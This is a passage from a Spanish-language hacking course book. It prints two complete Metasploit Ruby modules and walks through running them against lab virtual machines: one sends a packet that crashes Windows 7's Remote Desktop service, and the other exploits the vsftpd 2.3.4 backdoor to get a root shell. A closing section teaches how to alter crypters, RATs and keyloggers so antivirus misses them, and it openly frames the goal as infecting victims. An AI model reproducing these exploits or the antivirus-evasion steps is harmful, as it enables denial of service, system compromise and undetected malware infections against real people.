categorías y clasificaciones, dependiendo el uso que se les vaya a dar, en singular, un módulo es
el lugar en donde se encuentra un bloque de código que funciona con Metasploit, ya sea cualquiera
de los tipos de repos antes mencionados, pero para que un módulo funcione bien debe tener cierta
sintaxis el código para que Metasploit lo tome en cuenta, por ello es importante la sintaxis de esta
acción en el código antes mencionado.

¿Qué es lo que haremos para lograr explotar esta vulnerabilidad?

Si una Máquina Windows no ha sido “parchada” con KB2671387, es susceptible a un ataque de

Denegación de Servicio (DoS), en donde un atacante puede inhabilitar él equipo y formar la famosa
Pantalla Azul de Muerte (BSOD). Como se mencionó en el equipo Windows 7 se halla una versión
vulnerable del servicio de escritorio remoto de Windows, (Remote Desktop Service), el fallo de
seguridad de esta consta en que hacia este servicio se envíen peticiones o “requests” medidas
en bytes (210 es lo común), ocasionando un desbordamiento del “Stack” o pila de este programa,
la pequeña gran diferencia es que este programa no va a simplemente cerrarse al momento del
“Overflow”, hará que ocurra un error interno a nivel kernel ocasionado la famosa “Blue Screen Of
Death”, ya que sabemos esto, es momento de comenzar.

Parrot cuenta con un editor de texto bastante bueno, se trata de “Pluma”, este podemos abrirlo
desde una consola:

Imagen 35.2: Comando de “pluma”.

Sabiendo todo lo necesario, usaremos el siguiente código para para crear nuestro Auxiliary para
Buffer Overflow:

174
NOTA: Este código también vine incluido en me material de trabajo referente a este capítulo.

require 'msf/core'

class MetasploitModule < Msf::Auxiliary

include Msf::Auxiliary::Report
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos

def initialize(info = {})

super(update_info(info,
'Nombre' => 'BufferOverflow_Win7_RemoteDesktopService',
'Description' => %q{
Exploit que genera un Crash del sistema debido a las peticiones generadas hacia el servicio RDP.
},

'Autor' =>
[
'Tu_Nombre'
],
'Tipo de uso' => MSF_LICENSE,

))

register_options(
[
Opt::RPORT(3389)
], [Link])
end

def si_el_servicio_esta_funcional
begin
connect
disconnect
return true
rescue Rex::ConnectionRefused
return false
rescue Rex::ConnectionTimeout
return false
end
end

def run
tercer_overflow = "\x02\x01\xff"

pkt = ''+
"\x03\x00\x00\x13" + # TPKT: version + length
"\x0E\xE0\x00\x00" + # X.224 (connection request)
"\x00\x00\x00\x01" +
"\x00\x08\x00\x00" +
"\x00\x00\x00" +
"\x03\x00\x00\x6A" + # TPKT: version + length
"\x02\xF0\x80" + # X.224 (connect-initial)
"\x7F\x65\x82\x00" + # T.125
"\x5E" +
"\x04\x01\x01" + # callingDomainSelector
"\x04\x01\x01" + # calledDomainSelector
"\x01\x01\xFF" + # upwardFlag
"\x30\x19" + # targetParameters
175
tercer_overflow + # 3rdBOFF
"\x02\x01\xFF" + # maxUserIds
"\x02\x01\x00" + # maxTokenIds
"\x02\x01\x01" + # numPriorities
"\x02\x01\x00" + # minThroughput
"\x02\x01\x01" + # maxHeight
"\x02\x02\x00\x7C" + # maxMCSPDUsize
"\x02\x01\x02" + # protocolVersion
"\x30\x19" + # minimumParameters
tercer_overflow + # 3rdBOFF
"\x02\x01\xFF" + # maxUserIds
"\x02\x01\x00" + # maxTokenIds
"\x02\x01\x01" + # numPriorities
"\x02\x01\x00" + # minThroughput
"\x02\x01\x01" + # maxHeight
"\x02\x02\x00\x7C" + # maxMCSPDUsize
"\x02\x01\x02" + # protocolVersion
"\x30\x19" + # maximumParameters
tercer_overflow + # 3rdBOFF
"\x02\x01\xFF" + # maxUserIds
"\x02\x01\x00" + # maxTokenIds
"\x02\x01\x01" + # numPriorities
"\x02\x01\x00" + # minThroughput
"\x02\x01\x01" + # maxHeight
"\x02\x02\x00\x7C" + # maxMCSPDUsize
"\x02\x01\x02" + # protocolVersion
"\x04\x82\x00\x00" + # userData
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x0C" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x38\x00\x06\x03" + # T.125
"\xF0" +
"\x03\x00\x00\x09" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x21\x80" # T.125

unless si_el_servicio_esta_funcional
print_error("#{rhost}:#{rport} - Algo anda mal, conexion no establecida")
return
end

176
 connect
print_status("#{rhost}:#{rport} - Enviando #{[Link]}")
[Link](pkt)
[Link](3)
disconnect
print_status("#{rhost}:#{rport} - #{[Link].to_s} bytes enviados")

print_status("#{rhost}:#{rport} - Verificando la situacion, un segundo")

if si_el_servicio_esta_funcional
print_error("#{rhost}:#{rport} - Algo anda mal, conexion no establecida")
return
else
print_good("#{rhost}:#{rport} Buen trabajo, esta inhabil")
report_vuln({
:host => rhost,
:port => rport,
:name => [Link],
:refs => [Link],
:info => "Module #{[Link]} Desbordamiento conseguido hacia el servicio RDP"
})
end

end

end

Al comienzo del bloque de código podemos ver algo acerca de Metasploit, en donde nos topamos
con las líneas encargadas de que el Framework reconozca este código como un módulo funcional,
gracias a la sintaxis siguiente:

177
 Imagen 35.3: Librería “core” y clase “MetasploitModule”.

En donde de la línea 1 a la 8:

 require ‘msf/core’: La librería “core” provee los fines con los que se quiera utilizar el
framework, ya sea un enconder, un exploit, un auxiliar, un post, etc.
 class: Indicará las categorías en las que se hallará el módulo.

Después de la línea 9 a la 29 especificamos la descripción acerca módulo que se verá en el

Framework, así como el puerto que vendrá por default, que es el 3389:

Imagen 35.4: Descripción de módulo y config. de puerto.

En el segmento de líneas 30 a la 45 nos encontramos con unos condicionales, en donde se

establecen las acciones a llevarse a cabo en caso de que el Host remoto responda o no:

Imagen 35.5: Condicionales acerca de la respuesta por parte del Host

Vulnerable.

Ahora de la línea 46 a la 117, nos encontraremos con un ShellCode, que es el código que realizará
la acción perjudicial sobre el host remoto, ocasionando el desbordamiento de la pila o “Stack” de
este servicio:
178
 Imagen 35.6: Bloque de ShellCode.

Y, por último, de la línea 118 a la 149 nos encontramos con un último condicional relevante a la
respuesta del Host remoto, así como también el bloque de código desde “connect” hasta
“print_good”, que es en donde se lleva a cabo el proceso de establecer la conexión una vez enviado
el “ShellCode”, mostrando mediante diferentes comentarios que hace cada línea o bloque. Al último
vemos en “report_vuln” las variables con las que trabaja el Módulo, que como ya aprendiste en el
nivel COISP 1, en Metasploit se trata de “info”, “RHOST”, “RPORT”, “NAME”, etc.

Imagen 35.8: Condicionales y parámetros de funcionalidad.

179
Una vez que esté terminado este código lo guardarás con el nombre de tu preferencia y con extensión “. rb” que es la de
“Ruby”. Hecho esto, deberá aparecerte el archivo con el ícono de un Ruby, ahora este archivo lo trasladarás hacia este
directorio, que es en donde reside el Framework de Metasploit y sus repositorios, ya sea que lo ubiques por consola o por
interfaz gráfica, y dentro crearás un nuevo directorio en donde guardarás este código hecho en Ruby. Es recomendable
que no se coleen tus módulos con los ya existentes:

Imagen 35.9 y 36.0: Directorios de repos de Metasploit y módulo guardado.

Ahora qué ya tienes todo listo, es momento de que inicies el Framework de Metasploit, y como
ya sabes también, primero hay que inicializar el servicio de la base de datos de la que
depende principalmente Metasploit, PostgreSQL. En estas nuevas versiones de Parrot la forma
de iniciar el servicio ha cambiado, ahora se usa “systemctl”, que también tiene una sintaxis muy
simple, ejecutaremos los 2 siguientes comandos para iniciar de forma correcta el Framework:

 systemctl start postgresql y msfconsole:

Imagen 36.1: Inicio de servicio de BD, revisión e inicio de Metasploit.

180
Importación de módulo y ejecución de código.
Una vez iniciado el Framework simplemente entraremos al módulo que acabas de crear, la manera
o comando para entrar esta demás mencionarlos. Una vez ahí, configuraremos el módulo con las
opciones requeridas, para esto hacemos uso del comando “Show options” para ver los
parámetros de configuración de este módulo, en donde vemos que se trata de las variables
RHOST en donde irá la IP de maquina victima ([Link] en este caso) y RPORT (3389 que
ya está configurado por default):

Imagen 36.2: Parámetros de conf. Del módulo

Solo basta con agregar al parámetro de configuración “RHOST” la dirección IP y ejecutar el módulo
con el comando “run”, poniendo a trabajar el código en Ruby y ocasionando lo siguiente en
Windows, mostrando el “BSOF” antes mencionado, recolectando información acerca de lo
sucedido:

Imagen 36.3: Ejecución del módulo y resultados de este.

181
Formulación de exploit para servidores FTP vulnerables.

Es común que los usuarios busquen la manera de transferir archivos entre diferentes equipos
dentro de una red local, para ello suelen emplear un servidor FTP, el cual les permite o facilita
lo antes descrito. Por el significado de su acrónimo (File Transfer Protocol), es un protocolo
utilizado para la transferencia de archivos entre computadoras e internet, y por obvias razones
estos pueden contener información, ya sea importante o no.

Habrá ocasiones en las que nos encontremos con servidores FTP qué aún conservan las
configuraciones por default al momento de la instalación de los mismos, o no han sido configurados
de la forma correcta, dejándolos a la deriva, esperando a que alguien encuentre la forma de poder
perjudicarlos, ya sea con la detención del servicio que ofrecen estos, o algo más comprometedor
como la ejecución de un payload sobre este, en donde lejos de causar un desbordamiento de pila,
podrás conseguir una Shell interactiva sobre el sistema remoto.

Después de habernos ensuciado las manos un poco con el código anterior en Ruby para conseguir
un DoS, es momento de hacer algo más perjudicial. La aproximación que haremos constará en
aprovecharse de una vulnerabilidad con la que cuenta el servidor FTP que existe en nuestra red,
el cual será Metasploitable 2, la cual consta de la existencia de malware en él, ahora nuestro
trabajo es invocar a este mediante la inyección de un payload, el cual establecerá la conexión con
el mismo y así será como conseguiremos la Shell antes descrita sobre el sistema.

¿Qué es Metasploitable?

Es un recurso informático (una máquina virtual en este caso) que fue creada por el mismo equipo
de desarrollo de Metasploit, esta VM hecha en Linux cuenta con diferentes vulnerabilidades
escondidas o distribuidas en el sistema, esperando a ser descubiertas y atacadas. Por ello,
Metasploitable 2 (versión que usaremos) una máquina virtual que es utilizada para llevar a
cabo pruebas, capacitaciones en seguridad, probar herramientas o técnicas para
pentesting.

Esta VM está disponible para ambos ambientes de virtualización (VMware y Virtual Box), la razón
por la que no se utilizó la versión 3 de Metasploitable es debido a que oficialmente no está
disponible para VMware, por lo que usaremos la VM con versión anterior, la cual viene incluida en
el material proporcionado referente a este capítulo, aunque también puedes descargarlo desde el
siguiente enlace:

[Link]

182
¿Qué necesitarás para este ejercicio?

 Parrot Security OS, cualquier versión, en este caso usaras la 3.4 proporcionada.
 Metasploitable 2
 Ambas VM deberán tener configurado el adaptador de red en modo NAT.

Al abrir el archivo .vmx de Metasploitable 2, se mostrará la siguiente descripción acerca de la

máquina virtual en VMware, en donde podemos ver que se proporciona un usuario y password
para el Loggeo en Metasploitable 2, siendo ambos “msfadmin” :

Imagen 36.4: Metasploitable 2 en VMware.

Estando listas ambas VM’s, las encenderemos y posteriormente nos loggearemos en cada una,
en Parrot el usuario y password son “root y toor”, las de Metasploitable 2 ya sabes cuales son.

Imagen 36.5: Metasploitable en función.

183
Identificación de objetivo vulnerable
Ambas máquinas virtuales ya están en función, el atacante y la víctima, ya sabemos que
Metasploitable 2 o el servidor FTP se encuentra en el mismo segmento de red que nosotros, solo
falta saber su identidad, con esto nos referimos a un número distintivo con el que cuentan todos
los dispositivos conectados a una red, obviamente se trata de la dirección IP. Para esto haremos
uso de una herramienta llamada “Sparta”, esta sirve para llevar a cabo tareas de
Reconnaissance, Network Fingerprinting o Information Gathering, esto nos servirá para
identificar al servidor FTP en nuestra red y obtener más detalles sobre él.

Podemos iniciar “Sparta” desde el menú “Applications”, en “Parrot”, “Information Gathering”,

“Network Identifiers”, “Sparta” o desde una terminal ejecutando el comando “sparta”, en donde
una vez abierto utilizaremos la acción “Scan”, durante el proceso veremos que se enlistarán
diferentes Hosts, mientras que en la barra inferior indica el puerto sobre el que se está llevando a
cabo la acción de escaneo y la herramienta por la que está pasando, (una de varias durante el
proceso) en este caso es Nikto.

*En el libro y certificación COISP Nivel 1 se toca más a detalle el uso de Nikto:

Imagen 36.7: Inicio de Sparta y escaneo de la Red.

Durante el escaneo, algo que quizás notes es que se lleva a cabo una acción llamada
“Screenshot”, lo que hace esta es tomara una captura de pantalla (si es posible) del host remoto,
esto con la finalidad de facilitarnos la tarea de identificar a un Host en específico, esta acción
se puede mostrar en la barra de progreso, indicando el puerto sobre el que opera, el host sobre
el que está trabajando, fecha, hora y estatus. En este ejemplo nos indica que sobre el host
[Link] se está llevando a cabo esta acción, para verificar esta captura realizada
pasaremos a la pestaña “Tools” para revisar lo anterior, en donde veremos lo siguiente:

184
 Imagen 36.8 y 36.9: Identificación de Host Metasploitable 2 y acción de Screenshot.

Gracias a la función antes descrita, ya sabemos que el host [Link] se trata de

Metasploitable 2 (En este ejemplo), sabiendo esto es momento de pasar a hacerle
exclusivamente a este un Fingerprinting un poco más riguroso. También verás que, al finalizar
el escaneo de la red, se mostrara un icono identificador para cada sistema encontrado (Hosts), en
este caso se trata de un Linux, haremos clic derecho en el host correspondiente a Metasploitable
2 y seleccionaremos la acción “Portscan” para usar la penúltima opción, que incorpora el uso de
Nmap con perfil “Quick Scan Plus” dentro de esta herramienta. Durante el proceso del
Fingerprinting veremos que entre los puertos abiertos esta el 21, que es donde corre el protocolo
FTP con versión vsftpd 2.3.4, de la cual nos aprovecharemos y conseguiremos a explotar:

Imagen 37.0 y 37.1: Uso de Nmap en Sparta y Fingerprinting del Host Metasploitable 2.

185
Código y escritura de exploit.
Antes de continuar es importante saber de qué es lo que exactamente estamos por aprovecharnos
o por explotar. El servidor FTP antes descrito, dispone de actualizaciones descargadas que
cuentan con una vulnerabilidad bastante crítica, esta consiste en que dentro de los repos de dichas
actualizaciones se halla un malware que es activado (Triggered) o puesto en función mediante
el apoyo de un payload, el cual vendrá dentro de nuestro exploit, ya que cómo se sabe, los
exploits para ser considerados tal cuales requieren de un bloque de información referente a un
payload, con lo anterior entendido, al momento de que el malware y el payload se encuentren,
obtendremos una Shell que estará en función en el puerto 6200 del sistema Linux.

Para esto, usaremos el siguiente código, que también está hecho en Ruby del cual estarás
familiarizado con algunas cosas:
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,
'Nombre' => 'VSFTPD v2.3.4 Backdoor Command Execution',
'Info' => %q{
Este exploit se aprovecha de la vulnerabilidad de backdoor existente en servidor FTP en Metasploitable2
},
'Autor' => [ 'Tu', 'TuPC' ],
'Licencia' => MSF_LICENSE,
'Privileged' => true,
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 2000,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'Fecha de Creacion' => 'D1a del Curs0',
'DefaultTarget' => 0))

register_options([ Opt::RPORT(21) ], [Link])

end

186
# Despues de esta linea comienzan los condicionales correspondientes a cada caso
def exploit

nsock = [Link](false, {'RPORT' => 6200}) rescue nil

if nsock
print_status("Puerto a la escucha abierto")
handle_backdoor(nsock)
return
end

connect

banner = sock.get_once(-1, 30).to_s

print_status("Banner o mensaje: #{[Link]}")

[Link]("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
resp = sock.get_once(-1, 30).to_s
print_status("USER: #{[Link]}")

if resp =~ /^530 /
print_error("Las medidas de seguridad han cambiado, conexion no establecida")
disconnect
return
end

if resp !~ /^331 /
print_error("Este servidor no funciona como lo esperabas: #{[Link]}")
disconnect
return
end

[Link]("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")

nsock = [Link](false, {'RPORT' => 6200}) rescue nil

if nsock
print_good("Conexion establecida con el malware...")
handle_backdoor(nsock)
return
end

disconnect

end

def handle_backdoor(s)

[Link]("id\n")

r = s.get_once(-1, 5).to_s
if r !~ /uid=/
print_error("Shell no conseguida :(")
disconnect(s)
return
end

print_good("IDUsuario: #{[Link]}")

[Link]("nohup " + [Link] + " >/dev/null 2>&1")

handler(s)
end
end
187
Estructura del exploit.
El código anterior es el qué constituirá nuestro exploit o módulo en Metasploit, a continuación, se
te explicará cómo es que funciona este:
IMPORTANTE: Independientemente de que dentro del material de trabajo para este libro se te
proporcione el código de los auxiliaries o exploits, si no estás familiarizado con el “codeo” o no tienes
la suficiente destreza programando debes de tomarte unos minutos y leerlos, no te será demasiado útil
lo anterior si en estos ejercicios solo haces copy-paste, de lo contrario… ¿Cómo sabrás que es lo que
está por ocurrir?

El código anterior será el encargado de conseguir nuestra Shell sobre el host remoto, que es el
servidor FTP vulnerable. Algo que de seguro notaste, es que este nuevo código consta de casi 50
líneas menos, como ya sabes, esta vulnerabilidad consta en invocar al malware desde la ejecución
del payload antes mencionado, por lo que resulta una parte más corta al momento de “codear” el
exploit, aunque se trate de dos plataformas diferentes (Windows/Linux).

También resulta más perjudicial que el exploit o código del ejercicio anterior. Como se ejemplificó
en el ejercicio anterior, deberás de seguir los mismos pasos para compilar tu módulo de Metasploit,
desde abrir el editor de texto “Pluma”, hasta la colocación del script en Ruby en el directorio
correspondiente.

Teniendo entendido lo anterior, compilarás esto y lo guardarás en el siguiente directorio, demos un

último vistazo a lo que compone el código y que es lo que hace.

Donde:

 De la línea 4 a la 9 podremos notar como estamos especificando que este código trabajará
con la librería “core” del Framework de Metasploit, también indicamos en la clase
“MetasploitModule”, indicando el tipo de funcionalidad (Remote) y la calificación.

 En la línea 11, con “def” estamos declarando el método referente a la información del
payload, como lo son detalles acerca de su funcionamiento, en las demás líneas también
podemos ver especificaciones del exploit como lo es el Autor, la plataforma en la que
funciona, la arquitectura por la que trabajará, payload etc.

188
 Imagen 37.2: Declaración de clase y método para el exploit.

 De la línea 23 a 38 continuaremos con el bloque referente al método de inicialización

declarado, en estas líneas podremos encontrar detalles acerca del payload que usaremos,
como lo es el espacio en bytes, la no especificación de “BadChars”, la inhabilitación de los
No Operations, el tipo de payload y la conexión que se establece por búsqueda (referente
al malware), al final se especificó que el puerto en donde estará en función esté exploit.

Imagen 37.3: Declaración de clase y método.

 De la línea 44 a 67, nos encontramos con otro método declarado referente directamente al
exploit, ahora con condicionales. En donde iniciamos con “sockets” la conexión que se
establecerá para la Shell en el puerto 6200 del Host Linux, mostrando un “Status” acerca
de la situación del mismo al momento del encuentro con el malware. Si después de lo
anterior se establece la conexión, mostraremos un “Banner” en donde puede haber 3
mensajes, 2 acerca de errores y conexiones no establecidas y uno sobre lo contrario a lo
anterior:

189
 Imagen 37.4: Declaración método y condicionales para el exploit.

Imagen 37.5: Declaración método y condicionales para el exploit.

 Por último, entre las líneas 88 y 105 nos encontraremos un método final que está
declarado, en este caso se trata del bloque de código que hará el trabajo con el backdoor
o malware que reside en el Host remoto, en donde veremos un condicional y diferentes
“print statements” correspondientes a cada uno de los resultados u outputs que se
obtengan, siendo estos el establecimiento o fallo de la conexión entre atacante y Host.

Imagen 37.6: Declaración método y condicionales para el encuentro con él malware.

190
Importación y ejecución de exploit.
Ahora que has finalizado con el código, lo guardarás con el nombre de tu preferencia (en este caso
fue ftp_exploit_hm.rb” es importante colocar la extensión de Ruby al final, seguido de esto
colocarás el script en el siguiente directorio que es donde residen los exploits en Parrot OS como
lo es en la mayoría de las distros para pentesting, y, por ende, donde este corresponde.
/user/share/metasploit-framework/modules/exploits/unix/ (“como quieras llamar a este folder”)

Imagen 37.7: Directorio del exploit formulado.

Una vez finalizado el proceso de formulación de tu exploit, es momento de ponerlo a trabajar y probarlo,
para ello habrá que utilizar el framework de Metasploit. Como ya sabes, habrá que inicializar el servicio
de BD con el que opera el Framework, que es PostgreSQL e iniciar Metasploit.

Imagen 37.8: Inicio de servicio de Base de datos y del Framework.

Una vez inicializado el Framework, entrarás a tu módulo, que es el exploit que recién creaste. Para
ello solo basta con hacer uso del comando “use” y con el buscar a tu exploit entre el repositorio
del contenido en Metasploit, basta con saber la categoría y nombre:

Imagen 37.9: Directorio del exploit formulado.

191
Una vez estando dentro de nuestro módulo, ejecutaremos el comando “show options” para
enlistar o mostrar los parámetros de configuración con los que este opera o funciona, en donde
veremos que solamente requerimos de 2: Un Host remoto y un puerto remoto.

En lo que se refiere al Host se trata de la dirección IP de este, en este caso estamos hablando de
la máquina virtual “Metasploitable 2” la cual está en función como un servidor FTP vulnerable, en
cuanto el puerto, se trata del puerto 21, que es donde corre el servicio FTP.

Para esto usaremos los comandos la misma sintaxis que en ejercicio anterior, siendo estos set
RHOST y set RPORT en donde colocaremos la dirección IP y el puerto y al final lo ponemos en
acción con “run”:

Imagen 38.0: Parámetros de configuración de nuestro módulo en Metasploit.

Si eres de los que les gusta transcribir el código para entenderlo o comprenderlo sobre la marcha
del proceso de compilación e hiciste todo de forma correcta, luego de la ejecución del comando
“run” Metasploit deberá arrojarte un “Banner” indicando la vulnerabilidad que estas intentando
explotar (vsFTPd 2.3.4).

Si has seguido las instrucciones correctamente, mediante Metasploit obtendrás una Shell de
comandos sobre el sistema remoto (Metasploitable 2 / Servidor FTP) en el puerto en donde
opera el malware (6200), permitiéndote así navegar sobre los directorios del Servidor como usuario
“Root” (Superuser).

En el ejemplo de abajo, se ejecutó el comando “pwd” para ubicarnos en el sistema, arrojando el

resultado “/”, que lo mayormente común en Linux se trata del directorio raíz, con el comando “ls”
enlistaremos todos los directorios que existen en esa locación para posteriormente navegar entre
ellos:

192
 Imagen 38.1 y 38.2: Obtención de Shell sobre servidor FTP y navegación por directorios.

A lo largo de este capítulo cubrimos varios temas referentes al desarrollo de exploits, desde la creación
de un simple programa que cuenta con una pila desbordable y como vulnerarlo con scripts hechos
en Perl, ya sea mediante comunicación por telnet o remotamente desde Parrot. También pisamos
terreno más a fondo al momento de trabajar con una aplicación más completa al involucrar el uso de
un Debugger para hacer Fuzzing de la aplicación y así identificar el “Buffer Overflow” con el que
cuenta esta, así como también el uso de [Link] en un Debugger para facilitarnos la elaboración de
un script mayormente perjudicial que ocasione un desbordamiento de esta aplicación.

También cubrimos lo suficiente en cuanto a lenguaje ensamblador para familiarizarte con la escritura
y el contexto del proceso de formulación de exploits, como lo son los registros EIP y ESP en cuanto
se trate de Overflows. Y por último en la segunda mitad nos familiarizamos en la creación de módulos
de Metasploit, como es que deben estar constituidos estos para que funcionen o el framework los
tome en cuenta, hasta la elaboración de un “Auxiliary” que causa un desbordamiento a nivel kernel
de un sistema Windows 7 y la elaboración de un exploit que se aprovecha de una vulnerabilidad en
servidores FTP, comprometiendo así el host remoto. Ahora que ya te ensuciaste un poco las manos
con esto, compilando código en diferentes lenguajes y utilizando debuggers para hacer algo de
Reversing, es momento de que pases a algo un tanto más complejo como lo es el Modding, en donde
se adentraras en las entrañas del malware para así realizar cambios que resulten favorables para ti y
obvio…. lo contrario para quien va destinado.
193
194
Introducción.
Previamente nos familiarizamos en los 2 capítulos anteriores en cuanto al uso de malware para
perjudicar recursos informáticos, en uno usamos software peligroso para monitorear, administrar
y robar información de equipos Windows remotamente, y en el otro creamos nuestro propio código
para aprovecharnos de vulnerabilidades que existen en programas, o arquitecturas de sistemas
operativos o servicios que existan en estos. Así que a estas alturas debes entender bien la lógica
y funcionamiento de ciertos tipos de software perjudicial, desde troyanos, hasta gusanos o exploits,
pasando por una serie de herramientas como debuggers, scripts, etc.

Ahora, que hemos utilizado este tipo software dañino o malware, es momento de hacerle algunos
cambios que resultaran favorables para el factor de la no detección de estas piezas de
código. Esto resulta bastante crítico ya que los antivirus o soluciones de seguridad son cosa
común u obligatorio en los equipos informáticos, es por ello que en este capítulo te familiarizaras
con la extensa variedad de herramientas que ocuparas a lo largo de este capítulo, así como
también con las diferentes técnicas y métodos que te permitirán realizar modificaciones
hacia cierto malware, esto con la final de que el índice de detección por los sistemas de seguridad
sea menor al que se obtiene sin realizar modificación alguna al malware, a esto se le conoce como
Modding.

El Modding se le conoce dentro de la extensa área en cuanto al uso de malware, ya que existen
diferentes categorías como para juegos con los famosos Cheats o trucos. Podemos encontrar
malware apto para modificar y otros que no, debido a que ya han sido modificados previamente.
Dentro de la categoría podemos encontrarnos con troyanos o Crypters que antes ya
mencionados sabemos que es lo que son y qué es lo que hacen.

La finalidad del Modding es simple, modificar el binario o algún otro archivo para dejarlo
indetectable a los antivirus que como bien tenemos planteado son nuestro enemigo #1 el cual
tenemos que pasar por alto a la hora de infectar a un víctima.

El Modding que aplicaremos será directamente en binarios como los son: Crypters, RATs y
Keyloggers.

SI bien todos hemos leído un poco el primer libro sabemos ya alunas definiciones y pasaremos a
los temas directamente solo teniendo en cuanta lo que solo necesitamos saber.
Heurística de antivirus.

El término general implica funcionalidades como detección a través de firmas genéricas,

reconocimiento del código compilado, desensamblado, des-empaquetamiento, entre otros.
Firmas de antivirus.

195
Hay muchos códigos maliciosos que son modificados por sus autores para crear nuevas versiones.
Usualmente, estas variantes contienen similitudes con los originales, por lo que se catalogan como
una familia de virus. Gracias a las similitudes dentro del código del virus, los antivirus pueden llegar
a reconocer a todos los miembros de la misma familia a través de una única firma o vacuna
genérica. Esto permite que al momento de aparecer una nueva versión de un virus ya conocido,
aquellos antivirus que implementan esta técnica puedan detectarlo sin la necesidad de una
actualización.
Herramientas necesarias.
Tenemos que ocupar varias herramientas tales como las siguientes:

OllyDbg. LordPE
Hex Workshop. Malware.
Topo. SignatureZero

Conociendo el entorno de trabajo.

Se ocupará una máquina virtual en la cual se harán las modificaciones pertinentes en los binarios
ya que es importante que se hagan en un ambiente controlado para evitar así ocasionar un daño
a nuestro sistema operativo nativo.

Para esto, se usará la Maquina con “Windows 7” proporcionada qué previamente fue utilizada
en los 2 capítulos anteriores, y este no será la excepción, dentro del escritorio de esta, se halla
un folder nombrado “Modding”, el cual contiene el material de trabajo referente a este capítulo,
las herramientas que usaremos tendrán accesos directos en el escritorio.

196
Modificaciones manuales en el código de binarios.
Como todos los buenos hábitos de los programadores tenemos ya en mente algunas líneas
básicas o mejor dicho las que siempre se manejan, así mismo en el Modding se conocen muchas
formas o las más destacadas, que dentro de un binario se encuentran bloques tales como las
librerías que ocupa el mismo binario para poder ejecutarse; en si son algunas líneas que se pueden
identificar para su pronta modificación y por ende evadir alguno que otro antivirus.

Para realizar nuestra primera aproximación este proceso con un Crypter cualquiera para modificar
su Stub. Este mismo si le sacamos un escaneo rápido en la plataforma online “[Link]” que
es una página para verificar si un binario es detectado por diferentes antivirus; y si realmente está
infectado o no (Puede que sí y muestre que no). Cargaremos el archivo con el nombre de abajo y
veremos los resultados (pueden variar en el momento en que tu realizas el escaneo):

Como se puede observar es detectado por 11 Antivirus de 35 que nos ofrece la página. Es
importante que no se envíen los binarios a páginas como Virus-total ya que envían muestras a los
Anti-virus y en cuestión de días nuestro trabajo quedaría derrumbado.

Para poder modificar este binario haremos uso de las herramientas OllyDbg y Hex Workshop.

Para este caso introductorio empezaremos con Hex Workshop que como vimos es un editor
Hexadecimal bastante practico.

197
Una vez abierto podemos visualizar la siguiente ventana para empezar a modificar nuestro binario:

Podemos visualizar que muestra en la ventana principal los Offset, dirección de cada instrucción,
Código ASCII en la parte central y su valor hexadecimal en la otra. Lo que modificaremos son las
siguientes partes mayormente conocidas dentro del Modding.

Todas las librerías .dll y ocx que podamos encontrar, cambiar Mayúsculas por Minúsculas y
viceversa, cambiar la extensión .dll por puntos (…). También cambiando otros valores que no
consideremos afecte el funcionamiento del binario.

Empecemos yendo a todas las partes donde tengamos .dll las cuales iremos cambiando de una
forma rápida buscando el String, esto lo obtenemos presionando las teclas “CTRL+F”:

198
Ahora nos dirigiremos al siguiente valor:

Tal como podemos ver encontramos un valor y el nombre de la librería es [Link] el cual
cambiaremos las mayúsculas por minúsculas y la extensión la dejaremos por puntos o por
minúsculas igual forma habrá que verificar si el binario no se rompe (deja de funcionar). También
de igual forma si están en minúsculas cambiarlas a mayúsculas.

Este mismo paso se aplicará para toda extensión que encontremos.

Una vez hecho esto, guardamos nuestro documento y analizamos en [Link] o alguna otra
web que permita escanear binarios sin enviar muestras.

Nos pedirá que creemos un Back-up y bueno le decimos que si ya que en caso de que cometamos
un error podremos regresar a nuestro binario original.

En caso de que sea detectado por más firmas habrá que revisar si se han quitado de los
principales Antivirus como: ESET, AVAST, AVIRA, KAVSPERSKY, NORTON, MCafee. Ahora
podemos seguir con el siguiente paso.

199
Método RIT.
Podemos usar uno de los mejores métodos para in-detectar malware ya que lo que hace es
obtener una firma y cambiar su comportamiento para así el antivirus quede fuera y con este mismo
método podemos hacernos de varios antivirus ya que es una técnica tan efectiva que reduciría
desde un tercio o dos de las detecciones totales.

Modificaremos la firma del binario o en este caso una gran parte del binario pero sin alterar el flujo
del programa, para eso utilizaremos OllyDBG.

Lo primero es abrir el programa Topo y crearemos un hueco con instrucciones nulas (NOP) en
nuestro ejecutable que será donde introduciremos posteriormente trozos de la firma,
prácticamente lo que haremos será tomar un trozo de código que se encuentre dentro de la firma,
la movemos a el hueco que nos hizo topo y luego indicamos una instrucción al final para que
regrese desde el punto original donde cortamos, de esa forma alteramos la firma por completo
pero respetando el flujo del programa.

Bueno ahora procedemos a ejecutar topo y damos clic en Open, nos informa que todas las
secciones del ejecutable serán escaneadas y damos en aceptar.
Una vez entendido este concepto podemos abrir nuestro binario con Topo el cual tendremos que
usar para modificar internamente el ejecutable y crear un hueco para poder recrear lo que la
imagen nos muestra con OllyDbg.

200
